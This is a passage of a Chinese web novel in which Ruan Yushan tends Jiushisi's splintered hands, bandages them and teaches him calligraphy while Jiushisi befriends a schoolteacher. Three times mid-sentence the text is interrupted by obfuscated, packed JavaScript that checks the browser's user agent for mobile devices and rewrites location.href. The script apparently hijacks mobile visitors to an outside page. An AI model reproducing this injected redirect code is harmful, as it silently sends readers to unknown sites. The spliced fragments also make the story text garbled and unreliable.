九十四不是爱自讨苦吃的人,看阮玉山有模有样的像是有法子,自然就把手递了过去。 纯金煅造的镊子夹头尖尖细细,做得精致无比,捏柄上头还雕了繁复艳丽的珊瑚花纹,这可比人手来得方便。 阮玉山捧着九十四的手,对着日光仔细瞧了,镊子一夹,夹住一排小刺,从九十四的肉里抽出来。 这滋味疼起来不是好忍的,跟棍棒打在身上的感觉又不一样。 脑袋落地碗口大一个疤,棒子落身上一咬牙就忍了,一根一根的小刺从肉里拔出来那是细致的折磨,躲么躲不开,一咬牙也不是忍一口气就能过去的事儿,蚂蚁咬似的一时半会儿止不住。 九十四的手背躺在阮玉山宽大的掌心里,看着阮玉山的镊子一把一把地从自己伤口中拔出竹刺,每拔一次,他的指尖遍便微微一颤。 “疼就别看。”阮玉山没有抬头,边拔刺边说。 九十四闷声片刻:“我要看。” 他没见过这么精致的工具。九十四连镊子的名字都不知道,只觉得一个构造如此简单的小玩意儿竟然用起来十分方便,想多看一会儿。 “……”阮玉山不屑地嗤笑,“犟骨头。” 九十四的目光移到阮玉山身上。 他发觉阮玉山此时的姿态并不很伸展,至少是不舒服的。 阮玉山太高大了,九十四的凳子很矮,离地面不过几尺。阮玉山要去将就九十四的高度,只能单膝跪蹲着,把头垂得很低很低,才能看清手上的尖刺。 若是要九十四去迁就他的身高,那九十四的胳膊就得抬高,抬不了一会儿就得酸胀。 这使九十四想起几年前一个夏天的晚上,百十八贪凉,光着身子睡觉的时候腿被蛇咬了,毒牙刚好咬在腿肚子上。 蛇的毒性不强,但他发现百十八的伤口那会儿毒素也已蔓延了整个小腿,百十八整个腿肚子都是乌紫色。 九十四拿出自己那时剩下的所有积蓄恳求驯监帮他拿一点药,饕餮谷的毒蛇很常见,谷里随时都能买到治疗蛇毒的膏药。 那段日子他每天就像阮玉山现在这样给百十八挤蛇毒,再涂药。百十八的伤口位置很低,若是把腿抬起来就不舒服,九十四隔着两个笼子的栏杆,把手伸出去,脖子佝得快到地上,仰着头,用手指一点一点蘸了药膏抹到百十八的小腿。 百十八的伤用了多长时间才恢复他不记得了,九十四唯一记得的是那样的姿势让他每次给百十八涂完伤口后头颈都会剧烈地酸痛,连着肩膀一起,几乎要酸痛到半夜。 有一次他涂完药,揉着脖子把手收回笼子,一抬眼瞥见百十八看着他,两个黑漆漆的眼睛里兜着泪,嘴角快耷到衣领上。 百十八在愧疚。 那年百十八还很小,好像还不满十岁,瘦瘦小小,长得像个豆芽菜。 如今九十四不比百十八那样矮小,却有比他更高大的人像他当年一样佝着脖子给他处理伤口。 阮玉山对他像他对他的族人,几乎在这一瞬间让九十四以为,在阮玉山那里,他们也是平等的。 可是他又怎么能把阮玉山拿去跟蝣人相提并论呢?阮玉山看不上蝣人,他也不屑把阮玉山比作自己的族人。 九十四忘了,阮玉山并不是看不起蝣人——阮玉山是看不起所有人。 阮玉山虽然看不起所有人,却似乎并没有看不起他九十四。 九十四还没来得及思考自己为什么会脱离于芸芸众生被阮玉山从看不起的种群中剥离出去,手上突然传来一瞬剧痛。 ——浅的竹刺拔完了,阮玉山开始给他拔那些又粗又深的刺。 那些刺粗的有草根那么粗,深深扎到肉里,按理说本该是最先拔,九十四方才却没动它们。 大抵是人都有个趋利避害的本性,心里清楚拔出来会多痛,便下意识迟迟不肯动手。 第一根大刺被拔出个头,九十四的眉毛就凝到一块儿了。 再拔出一截,九十四有点吸凉气的意思。 他的整个手掌僵在阮玉山掌心,手一僵,肉就发硬,竹刺拔出来的痛感就更明显。 按常理而言,感觉到痛的时候吹吹气就会好一些。 以前百十八被蛇咬了,涂在腿上的药膏辣得他难受,翻来覆去地睡不好,九十四就会把百十八那条瘦得不能再瘦的小腿从笼子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138755|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里扯出来,卷起百十八的裤脚,在百十八睡觉的时候轻轻给伤口吹吹,吹着吹着,百十八就睡熟了,九十四再把他的裤脚放下去。 碍于这会儿阮玉山凑在自己手掌心前,九十四便不好给自己吹气。 正打算再忍忍时,九十四察觉到一股细细柔柔的凉风拂过自己的伤口。 阮玉山在一边给他拔刺,一边给他吹风。 这世上许多事,若非设身处地,便很难解其真意。 九十四看着阮玉山线条锋利的侧脸,陷入了长久的凝视和沉思。 费了老半天劲拔完一只手的刺,阮玉山从盆里掬起一捧水,慢慢淋在九十四手上,以清洗伤口。 大大小小的软刺和竹子上的泥巴混在凝固了的血块上,跟着水和鲜血一起流下来,把阮玉山的手也弄脏个十成十。 野生的竹子长在土里,风吹雨打都露在外头,谁都不知道这些毛刺上还在竹子上时曾有什么从那上头爬过去。 阮玉山越洗越嫌,不是嫌九十四的血弄脏了他的手,而是嫌九十四成天就会把自己捣鼓成这个鬼样。 衣裳洗得干干净净的,非得出去滚一身泥;身上好不容易恢复得七七八八,仗着自己皮实,一个没看紧又血糊刺啦地回来了。 阮玉山一嫌,就专挑九十四不爱听的话说:“毛猴子手,掏尸来的?脏死了。” 一转头九十四又恨幽幽地盯着他。 九十四是真想阮玉山别长这一张嘴。 阮玉山随便九十四怎么瞪,反正希望他别长这张嘴的天底下也不止九十四一个。 他起身回房,拿了自己昨晚洗干净的棉布,套在手指尖上,一点点绕开伤口把九十四的手掌擦干了,再拿出家里备好的金创药,撒在九十四伤口上。 这一撒完,阮玉山才想起缠伤口的绸带用完了。 他叉着腰,大刀阔斧地在院子里踱了一圈,忽瞅见自己那件天丝水绒锦做的披风。 世上只有一件的孤品。 九十四割不破,不代表他割不破。 老太太当年命人千辛万苦给他做这件披风原本是想起个防身的作用,因这匹料子和绣娘们十二套针线交织缠绕的缘故,这东西防火也防枪,刀刺不穿剑砍不断。 偏偏阮玉山十五岁那年闲得没事,花了两天两夜在披风上弄清楚了三十个绣娘的十二套针法走线,硬生生把这玩意儿给挑了个斗大的洞,气得老太太罚他在雪地里绕着舍春山脚跑了二十里路才肯罢休。 那时候的阮玉山可不能跟八九岁时同日而语,十五岁的他早就练出一身铜皮铁骨,大雪纷飞也好,二十里山路也罢,一套家法罚下来阮玉山简直不痛不痒,自此脸皮更厚。 只是为了老太太的身子骨着想,阮玉山后来没再折腾过这件披风,绣娘们用了一个月时间补好以后,他就安安分分穿着了,免得把老人家气出病来。 ——回忆这档子事的功夫,这件朱红色的稀世珍宝在阮玉山手里已经变成了一块块细长的碎布条子。 他向来认为这东西没什么了不起,真要到命数该绝的时候,又能替他挡几分命数? 这会子撕扯下来给九十四包扎伤口,也是看中它料子不错,裹在手上严密又透气,方便伤口愈合罢了。 不多时,九十四另一边竹刺被阮玉山清理干净。 一眨眼的功夫,两只手都裹成了蟹钳子。 九十四看看自己的左手,又看看自己的右手,最后在左右手之间抬起头,冲阮玉山很是不解地眨了眨眼,欲言又止:“非得包成这样?” “就这样。”阮玉山看九十四的两只手如看自己的绝世佳作,心情大好,拍干净手后大摇大摆走去吃饭,“免得你出去招蜂引蝶。” 他把做好的饭菜按份量夹到一个大盘里,又从自己包袱里掏出一个金勺子,让九十四握着勺子吃饭——正好免去了学使筷子这道工序。 九十四吃饭吃得慢,阮玉山也不催,就这么坐在院子里似笑非笑地看他吃饭,看得九十四不自在了,九十四会自顾自地转过去,但因为手上裹着厚厚的布条,总得时不时转回来让阮玉山帮自己调整手里拿歪的勺子。 他不乐意开口求人,就拿眼神去瞅阮玉山。阮玉山瞧见了,伸出一根手指给他把勺子拨正,他就低下头去安安静静吃饭。 九十四吃完饭,磨磨蹭蹭地抱着书坐在院子里。 阮玉山看出来他心里又在憋着主意,眸光一瞥:“你想做什么?” 九十四说:“我想去学堂。” 阮玉山快烦死了。 24.哄哄 他不接九十四的话,而是问:“你的手怎么这么凉?” 九十四向来没注意过自己的体温:“凉吗?” 阮玉山自顾自接着问:“是不是夜里睡地上的缘故?” 九十四说:“我没有睡地上,我睡在被子上。” 阮玉山跟听不见他说话似的,很有自己的思路:“你想睡床?” 九十四:“……” 九十四在短暂的沉默后进行了快速的思索。 ——阮玉山不愿意的话,是不会主动开口提出这个问题的。 屋子里只有一张床,如果九十四回答自己想睡,那势必会挤占阮玉山的位置;而阮玉山看起来并不像会为了让他睡觉就自己滚下去的人,所以一旦他点了头,最后的结果大概是两个人一起睡。 于是九十四说:“不想。” “我想去学堂。”他又补充了一句。 阮玉山好像聋了:“刚才瞧你那道甜竹笋吃得不少,喜欢?还吃不吃?” 九十四问:“还有吗?” 阮玉山的耳朵又好了:“等着。” 他一头钻进地窖,找到晒干的竹笋,挑了一把嫩嫩的回到院子里。 九十四不见了。 阮玉山站在地窖口,第一次感觉自己活了二十二年,还有被人耍的时候。 他盯着九十四坐过的小凳,慢悠悠走过去,一脚踹翻,随后走开。 走开片刻,又想起这小凳是自己搬给九十四坐的,遂回去扶好,自个儿坐了上去。 这一坐还真不知道该干什么。 这几日一直待在目连村等林烟的消息,阮玉山知道自己会过得很悠闲,不成想昨夜遇到了怪事儿,自己腰和腿都受了不轻的伤,在这儿就权当养病。 他百无聊赖,便去房里转了转,果然找到一些笔墨还有未用过的宣纸和砚台。 这地方是衣棚老板的儿子曾经用来读书的屋子,想来也不会缺这些。 既然无事可做,阮玉山便提笔蘸墨,在纸上描起丹青来。 阮家虽然祖上起家不大光彩——纵使招安也不是他们主动的,但两百年下来,对外说起那也是一州之主,世家大族。 既是钟鸣鼎食之家,也该养出文韬武略之辈。自府中长大的公子小姐们,一个个舞文弄墨是分毫不差。 阮玉山上马征战,下马舞笔,练得一手好枪,写得一手好字,更画得一手好画。 大祈甚至曾有过好几年“红州纸贵”的日子。 无镛城的玉雕,红州城的丹青,一个出自谢府,一个出自阮府,名声都在谢九楼和阮玉山接任城主之位后盛极一时,并称大祈双贵。 有幸得见过两方至宝的朝中公卿曾对此做过陈表:若见谢小将军所作之玉雕,则使肉体凡胎双目生辉;再见阮大老爷所描之丹青,又觉天地之间百花失色。 阮玉山对此很是不屑。 什么东西,也敢拿谢九楼跟他比。 佘老太太则对此很高兴——自家曾孙除了一身没用的好看皮囊,还有那套粗鄙不堪的枪法,也算有点文雅的长处能拿出去跟名满天下的谢小将军一论长短。 阮玉山坐在老太太膝下,听了曾祖母的话,对此做出两个点评:第一,即使不会丹青,他也跟谢九楼一样名满天下,并且自认样样胜过对方,要论长短,那也是他长,谢九楼短;第二,个小老太太老了老了还穷讲究起来了,什么风雅?忘了那会儿在沙佘关当土匪的时候了。 他这话一说完,老太太骂他目无尊长,一闷棍打过来,打在阮玉山一身筋骨皮上不痛不痒,反倒震得老人家手麻了半晌。 后来年岁大些,手上的事多了,碍于州主的身份,他也不便整日在这些个闲事上浪费时间,即便时不时手痒画画,也不再允许外传。 今日无事,被气了一场,为解不忿,姑且小作一张。 阮玉山在纸上悬笔片刻,很快便凭借记忆做起画来。 蘸饱了墨的笔尖落在纸面,席莲生收起最后一笔,抬眼看向九十四:“这就是我的名字。” 九十四对着纸上三个字看了好一会儿,学着席莲生的动作拿笔——手伸到一半,发现自己的蟹钳子还没拆,只能将就着这个模样把笔握住,像握跟棍子似的蘸墨,蘸完又觉得实在是影响自己的发挥,干脆拆去右手的包扎,模仿席莲生握笔的姿势,在席莲生名字的对面,写下了“九十四”三个字。 他是蝣人,他从没想过要向任何人隐瞒自己的身份。他不觉得这有什么需要隐瞒的,谁若是尊重他,他自然也就尊重回去;谁敢因此欺辱他,他就揍一顿,孰高孰低拳头见真章。 九十四认为席莲生并没有因为他蝣人的身份对他侧目相待,他很乐意交这个朋友。 虽然他最近感觉阮玉山也没有因为他是蝣人而蔑视他,不过他还是时常想给把阮玉山给揍上一顿。 思及此,九十四愣了愣,不知道自己怎么又想到了阮玉山。好像阮玉山这个人已经无孔不入,不管做什么都要钻进他的脑子显摆显摆存在感,哪怕是令他生厌,也难以控制。 他想这是自己才出饕餮谷,认识的人太少的缘故。 九十四下午一来学堂,听完讲学就把自己目前的称呼告诉了席莲生,席莲生在纸上向他写自己的名字,他也学席莲生的样子写自己的名字。 他会写九十四,当年第一次让饕餮谷的洒扫老头教他认字时就认的自己的名字。 他还会写百十八,会写七十五,会写百重三,会写好多人的名字。 这是九十四第一次拿笔,还不熟练,纵使已经看着席莲生拿笔的姿势照葫芦画瓢,写着写着还是变成了以往习惯拿针在残页上写字的手势。 他甚至从没在一张干净的纸面上如此堂堂正正地写下大大的“九十四”三个字。 “我会有名字的。”九十四把脸凑得离纸很近,乌长的睫毛跟随笔的走势一扇一动。好像还没脱离从前拿着针在巴掌大小的书页上写字的习惯,得凑很近才能确保自己写对了似的。 他一边写一边不苟言笑地说:“等我取好名字,就告诉你。” 席莲生没说什么,只是点头:“好。” 在纸上歪歪扭扭写完自己的名字以后,九十四看向席莲生的字,面无表情地称赞道:“你名字真好看。” 说完又看向自己的字,颇为公允地评价道:“我的也不差。” 席莲生笑道:“第一次写成这样,很好了。” 岂止是很好? 九十四认为自己第一次用毛笔写字写成这样非常好,简直是天赋异禀,聪慧过人。 得亏他目前还没学会那么多自夸的词儿,否则今天席莲生就会发现九十四并不是一个谦虚的人。 九十四虽然不谦虚,但是做事很有分寸。 他估摸着自己再晚回去阮玉山又要用整整一个晚上的时间说些莫名其妙的话刻薄他,因此他冲席莲生道别:“我先走了。” 他转身绕靠脚边只有半个身体的小孩子,刚走到门口,又转头环视了一眼学堂。 上午来的时候,这些学生是长这样吗? 好像一个也没见过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151473|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个念头只在他脑海中闪过一瞬。九十四又觉得,他们一直都是这个样子。 他收回视线,接着往回去的路上走。 九十四的步子还是走得又轻又快,他心情很不错,因为今天交到了从他出饕餮谷以来的第一个朋友。 林烟不算朋友,林烟是好人,跟路边给他包子和衣棚送他衣服的老板一样都是好人,但算不得朋友。他们对他有向下的怜悯和同情,却没有主动与他并肩相交的想法。 阮玉山则更不是了。 九十四说不清阮玉山对自己而言是什么样的存在。 仇人?其实他明白阮玉山对他并不坏,近来可以说尤其的好,哪怕是席莲生这样的朋友也做不到像阮玉山那样给他做饭和收拾伤口。 恩人?阮玉山对他又并不平等,总想拿他身上的刺青控制和干涉他,一旦他不如阮玉山的意,对方有一百种方法折磨他,哪怕是说话也要奔着气死他去。 九十四想起阮玉山,眼神就复杂犹豫了。 这是第一个让他活了十八年以来难以分辨阵营的人,他说不清阮玉山到底是好还是坏,可是他也不愿意相信这个世界上会有人又好有坏。 好就是好,坏就是坏;好的人该敬,坏的人该恨。 九十四对阮玉山是无论如何敬不起来的,可是他似乎渐渐的对阮玉山也没一开始那么恨。 如果他纯粹地恨他,此刻就不会这么急匆匆地赶回家。 并不仅仅是不想听阮玉山说话刻薄自己,似乎还隐隐地意识到自己该哄哄他。 可临到院子了,九十四瞅一眼近在眼前的栅栏,又不想踏进去。 要是上天能突然降下一道雷把阮玉山劈成哑巴或者劈成个活死人,他倒是很乐意回来。 九十四停下脚,背着手在院子外闷头转了两圈,稳住心神,一不做二不休,一脚踹开栅栏,昂首阔步走了进去。 ——他只是去了会儿学堂,他又没干什么,完全没有在阮玉山面前心虚的理由! 阮玉山正站在屋子里的书桌前画画儿,一听外头脚步就知道是九十四回来了,待人影踏进屋门,他是一不恼二不怒,掀起眼皮乜了九十四一眼,手上作画一点没停:“哟,稀客。” 说着还伸笔蘸了点墨,寒暄似的:“什么风把您吹到寒舍来了?” 这话太文绉绉又口头化,九十四没在中土生活过,听不懂什么西客东客,更听不懂寒舍暖舍的。 不过从阮玉山嘴里冒出来的,一般不是好话。 既然不是好话,九十四便仍旧装聋作哑。瞧见阮玉山又在搞新鲜玩意儿,他径直过去,还没来得及伸脖子仔细瞧,阮玉山一下子收起笔,把桌上宣纸一折,扬着下巴冷冷淡淡低眼睨他,很是个防备疏远的姿态:“做什么?” 刚说完又瞥见九十四右手没了包扎带,才涂了一下午金创药的伤口就这么大剌剌地露出来,他辛辛苦苦给包得严严实实的手这会儿竟然光秃秃的! 阮玉山的脸一下子耷拉下来。 九十四还想扒拉他手上的画,阮玉山冷着脸躲开:“离我远点。” 这话九十四听懂了。 他正打量阮玉山的脸色,外头传来呼喊声。 是席莲生打发学堂的孩子送东西来。 屋子里两个人都听见了,九十四当即便要出门去看,才转身走两步,就感觉后背凉阴阴的,阴得他汗毛都快竖起来。 他一个回身麻利地坐到凳子上,表现出一副根本懒得出去的架势,看也不看一眼外头,只朝外一指,对阮玉山吩咐:“你去拿。” 25.执笔 阮玉山拿鼻子轻蔑地哼了一声,也不说好与不好,只把手里的画往九十四怀中一扔,勉为其难地出去帮九十四看看席莲生送什么来了。 打发来送东西的是学堂里的学生,阮玉山过目不忘,上午在学堂门外的人堆里见过,下午再看就有了印象。 唯一没印象的是席莲生,他从没正眼看过对方,因此完全不知道人家还是个什么长相。 来的小孩子四五岁,头顶刚过阮玉山的小腿,穿一身一看就是家里人缝制的百家衣,背个小布兜,瞧模样是才放学,手里还抱着一捆没用过的宣纸,笑嘻嘻地说夫子让他给九十四哥哥送练字的笔墨来了。 阮玉山这会儿可不想见谁笑。 他抱着胳膊,一言不发地睥睨着脚边豆丁大的小孩儿。小孩儿先还没觉出什么,被看久了,老觉得头皮寒沁沁的,是笑也不敢笑了,话也不敢说了,抱着宣纸退了两步,瘪着嘴巴差点就要吓哭。 阮玉山看他要哭,才慢慢弯腰,大手一抓,慢悠悠拿走人家怀里的纸笔,笑道:“谢谢——回去吧。” 小孩子忙不迭转身要跑。 阮玉山漫不经心伸出脚尖。 啪嗒! 孩子在地上摔了一跤。 兴许是恐惧战胜了委屈,小孩儿硬生生憋着眼泪没哭,利利索索地拍拍膝盖爬起来,只想快点离开。 阮玉山低下头,把脚边一颗石子儿往对方面前一踹。 啪嗒! 小孩儿又拌了个狗吃屎。 这下小孩儿憋不住了,一屁股坐在地上,哇的一声哭起来。 阮玉山抱着纸笔走过去,万分轻柔地把人从地上扶起,给人又是拍屁股又是拍膝盖,趁人小孩儿不注意还往人背的小布兜里塞了片金叶子,温声哄道:“这地方好可怕,是不是?” 小孩儿一边哇哇大哭一边点头。 阮玉山耐心给人擦眼泪鼻涕,接着说:“下次再也不来了,好不好?” 小孩儿抽抽嗒嗒地继续点头。 阮玉山哈哈笑了两声,拍马似的一拍小孩儿屁股:“走吧!” 小孩终于得以逃离了。 九十四倚在门边,亲眼看着阮玉山把那团模糊不清的人形肉影绊倒两次,又扶起来和声细语哄了几句,最后诡计得逞,让人离开。 其实不管阮玉山绊不绊,那都是一团在地面蠕动行走的肉泥,即便磕到了石子,也无关痛痒。 阮玉山还算有点良心,捉弄了人家知道塞点金叶子补偿。 九十四觉得如果这样就能得到一片金叶子的话,那阮玉山也可以绊他两下,就当他还债了。 不过阮玉山阴晴不定,这脾气在面对他时尤甚,折磨别人只要一倍的力气,阮玉山会在他身上花上十倍。九十四对被阮玉山绊两下就抵债的设想并不抱希望。 看完院子里的一切,他回到桌边坐下。 此时阮玉山刚好目送小孩儿离去,转身朝向屋子,只捕捉到九十四一抹翩飞的衣角。 他原封不动地拿着席莲生送的一应纸笔走回屋子,正巧撞见九十四在给自己的右手重新包扎。 阮玉山午后为他撕扯下来的天丝绒锦披风九十四没丢,只是在学堂为了方便写字拆下来,把包住手指的那两根干净的锦带揣进了袖袋里。这会儿当着阮玉山的面一声不吭地坐在桌前自觉给包扎回去,倒是让阮玉山原本不太好看的脸色稍霁了些。 九十四其实很想抬头看看席莲生送来的纸笔是什么样,更想立刻拿到桌边写他个百八十字痛快痛快——他第一次有机会拥有自己的宣纸和毛笔,迫切得指尖都在发抖。 不过此刻有更紧迫的事。 他给自己的伤口缠好了锦带,却像是不会系,两端袋子孤零零地垂在空中。 九十四把手伸向阮玉山,又给人安排起活儿来:“你给我系。” 阮玉山拿着厚厚一卷宣纸,负手站在九十四面前,后背把门框外的夕阳挡了个全,整个人的影子笼罩着九十四,虽然背着光,可语气听起来似乎又比方才好了两分:“怎么,不先看看夫子送你的纸笔?” 九十四没说话,收回手,自顾自地对着右手没系上的锦带捣鼓。 阮玉山哂笑,心里很看不上九十四这些欲擒故纵的把戏。 虽然看不起,他还是走到九十四跟前,放好纸卷,弯腰下去抓住九十四的右手,正要给人包扎,忽的皱眉:“为何不像我之前的包法?” 午时他裁碎了自己的披风,把九十四整个右手包得密不透风,九十四嫌那包法麻烦,自己也行动不便,这会子就只用了一条锦带,在伤口处包了一圈,没裹其他地方。 当然,还因为待会儿想练字。 不过说肯定不能在阮玉山面前这么说。他脑子一转,拿出剩的那根锦带,在自己手腕缠了两圈:“多的缠手上,好看。” 阮玉山盯住他,盯了半晌,扬唇问:“什么好看?” 九十四面不改色心不跳:“带子好看。” 阮玉山不屑一笑,似乎看穿了九十四的心思。 但神色大好。 他给九十四缠完了伤口处的锦带,还顺便给九十四手腕的锦带打了个非常秀丽的结。打完以后拎着九十四的胳膊看了看,觉着这个打扮确实不错。 九十四跟个木偶似的,随便他怎么拎怎么摆,都安静坐着不吭声,等阮玉山欣赏他的手腕欣赏够了,他再图穷匕见:“我要练字。” 阮玉山的眼神冷下来。 九十四望着他,坚持道:“我要练字。” 阮玉山知道拧不过,他乏味地放下九十四的胳膊,不咸不淡地说:“要练就练,我管不着你。” 九十四行云流水地抓起桌上的卷纸往书桌那边走去。 阮玉山冷眼乜斜着,看九十四小心翼翼摊开纸卷,从纸卷里拿出过好的笔墨和砚台,然后就茫然地一手磨条一手砚台,不知道下一步该干什么。 阮玉山冷冰冰地提醒:“加水,研磨。” 他指向自己先前用的砚台:“或者用那个。” 九十四看了看他的砚台,还是想自己研一次磨。 阮玉山的嘴角又耷下去一点。 等九十四从外边接了水回来,却看见阮玉山用镇尺镇好了宣纸,背着个手在他书桌边上转悠,一副势必要看看他能写出个什么墨宝的架势。 他拿小碗端着水进来,阮玉山一瞅他两只湿漉漉的手就问:“又偷喝?” ——九十四还没改掉在饕餮谷的习惯,见到干净的水总忍不住先捧起来喝一口。 水是很珍贵的东西,对蝣人而言总该先拿来果腹,先保证了生存,再考虑其他。 “没有偷。”九十四回答完阮玉山的话,捧着碗往砚台上倒水,每倒一点,就停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155699|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来看阮玉山。 阮玉山说:“够了。” 九十四再把碗里剩下的水一口气喝干。 “拿笔。”阮玉山一步步引导他,话到嘴边又不忘刻薄一下,“别跟拿勺子一样。” 九十四当然会拿笔,他特地在席莲生那里学过。 他有模有样捏着笔,蘸了墨,在宣纸上写下自己的名字。 写完第一个字,他的手势变成了拿勺子的样子。 阮玉山在旁边毫不掩饰地笑了一声:“笨!” 九十四并不把这话放在心上,他现在一心一意要把握笔的姿势纠正过来。可拿笔着件事,一开始握正了还好,中途一旦变样,变回自己习惯的手势,就很难纠正回去。 他的无名指上下失据地悬在空中,目光凝在手指上,沉静地思考每根手指该放的位置。 俄顷,一只更宽大,肤色更深的手覆了上去。 阮玉山轻描淡写地把他的手指拨到了正确的位置,手臂贴着他的手臂,手心贴着他的手背,声音从他的头顶传下来:“落笔的时候,手不能抖。” 阮玉山的每一笔都走得大刀阔斧,指节贴在九十四的手指上,所用力道时时刻刻张弛有度,下笔轻,走笔缓,收笔重,手肘稳在空中,墨迹落在纸面上,一笔一划龙飞凤舞,力透纸背,恍若得见字字筋骨。 他知道九十四聪慧,因此只教了一遍便松手:“自己写。” 九十四凭借刚才的记忆,以及阮玉山遗留在自己手臂的感知,缓缓下笔。 落了墨,再收回,几乎和阮玉山教的一模一样。 他人生第一个规规矩矩写出来的字,带着阮玉山的笔锋。 阮玉山站在他身后,含笑看着九十四紧挨他的墨宝留下的字,又将视线移到九十四的背影上,像在欣赏自己又多描画了一笔的作品。 “什么夫子。”他凝视着九十四的后脑勺,似笑非笑,“字都教不好,骗学费的罢。” 九十四写了字,阮玉山怎么说便都不在意,甚至没把对方的话听进耳朵里,只是盯着阮玉山教自己写的字,在心里想,席莲生的字好看。 阮玉山的字更好看。 “你教得好。”他回头看向阮玉山,“再教我几次。” 阮玉山挑了挑眉。 “哦?”他俯身凑到九十四眼前,“可我用不惯别人的纸笔。” 九十四哗啦啦把席莲生送的宣纸收起来。 阮玉山靠着墙壁,意态悠然地指挥:“笔。” 九十四把席莲生送的笔放到一边。 阮玉山:“砚。” 九十四又把他先前的砚台拿过来。 他这才懒洋洋地走回九十四身后,胸腔贴着九十四的后背,一路到手臂,再度教九十四拿起笔时,声音已沉稳了下来:“手肘用力,落笔要稳。像我刚才教你的那样。” 明明身体只挨了一半,九十四整个人却仿佛被阮玉山圈在怀里。 他的耳后偶尔能感受到阮玉山说话时喉结的滑动,还有胸膛跟随呼吸缓慢的起伏,写了很久他才注意到自己的体温似乎总是更温凉些,因为阮玉山的掌心永远都温暖干燥,握在他的手背上时,能感受到皮肤下方流动的血液的滚烫。 他的一生就是从此时起每一步都带有阮玉山亲手雕刻的痕迹,笼中混沌十八载,阮玉山往后一笔一笔把他勾出了形。 26.控制 九十四这个下午成了阮玉山的跟屁虫。 自打他发现跟着阮玉山能以最快的速度学会大部分他想学的东西并且阮玉山能教给他近乎一步登天的成果后,九十四就差扒在阮玉山背上不下来了。 阮玉山教完他写字,要去院里砍柴,他跟着;阮玉山砍完柴要做饭,他也目不转睛看着学。 砍柴的时候他站在一边,阮玉山瞧他跃跃欲试,在他跟前劈了两把木头便递给他斧子:“试试。” 九十四当仁不让,一把接过去。 他学着阮玉山的样子挽起自己两只袖子,露出苍白的小臂和手腕上两圈崎岖的伤疤,再有模有样地把木柴立在木桩上,用手扶好,瞄准了位置,全神贯注集中力道,一斧子朝木柴劈下去。 ——胳膊粗细的木柴连同合抱粗的底座木桩被一起劈裂了。 阮玉山的眼角不着痕迹微微一搐。 九十四也愣了。 他拎着斧子,面对脚下四瓣劈开的木头,看向阮玉山。 “无碍。”阮玉山古井无波地对此做出解释,“木桩年生太久,底下被蛀空了。” 九十四欣然接受了这个说法。 在他还想把木柴扶到地面再试一次时,阮玉山轻轻夺走他手里的斧头:“去打水,加到锅里,准备做饭。” 九十四去了。 这并没有让他觉得阮玉山在支配他的自由,因为从阮玉山吩咐的这句话里,九十四学到做饭的第一步要先往锅里加水。 早前两次阮玉山做饭他都错过,九十四这回每一步都紧盯着记在脑子里。 然后他用半个时辰的时间认识到自己对做饭这事儿没有任何兴趣。 一道菜在锅里翻来覆去再翻来覆去,中间停下来被阮玉山加点佐料加点水,再继续翻来覆去,起起落落,最后油光水滑地躺在盘子里被端上桌。 虽然莫名其妙就变香了,但九十四还是认为过程无趣至极。 不过他依旧牢牢实实地记住了每一个步骤。 九十四认为学会做饭是很有必要的,甚至是除了读书识字以外最重要的事。毕竟以后离开阮玉山,他没有钱,也没有别人照顾,首先要做的就是自己给自己做饭。 蝣人在饕餮谷中茹毛饮血,那是迫不得已,没人把他们当人,他们只能像野兽一样生吃硬啃。 九十四知道,人是要吃熟食的,要吃从锅里端上来的饭菜。像驯监们一样,端着碗吃饭,从盘子里夹菜,那才是人过的日子。 九十四无时无刻不在为离开阮玉山做着准备。 阮玉山并不知道九十四的脑袋瓜子里都在绕着什么转,他炒菜炒到一半,觉得九十四煞有介事的模样实在好笑,便问:“什么东西要你看那么仔细?” 九十四一边衡量离开阮玉山以后做哪道菜最方便,一边说:“看做菜。” 阮玉山又逗他:“只是看菜?” 九十四瞅了阮玉山一眼,不懂阮玉山什么意思。 他不懂,但不影响晚饭时阮玉山心情不错,仍是把随身带的金勺子放到了他的碗里。 九十四没什么所谓,不管是筷子勺子,总归不过是吃饭的工具,只要能吃到饭,使哪样都可以。既然勺子更便利些,何乐而不用呢?他并不是非得学使筷子不可。 阮玉山看他使自己的金勺子使得那么得以自如,心里犯欠儿的地方又痒痒。 九十四吃饭吃得正香,就听阮玉山凉悠悠地打趣:“小孩儿吃饭用勺,大人吃饭用筷。十几岁的人了,吃饭不使筷子——傻子才这样。” “食不言,寝不语。”九十四慢条斯理拿勺子挖着饭,不入阮玉山的套,“一边吃一边叫——” 他勺子一顿,想了想,又找了个自己认知中比较符合这个形容的比喻:“饕餮谷的狗才这样。” 阮玉山不恼,反而饶有兴趣地问:“饕餮谷还养狗?我怎么没见着?” 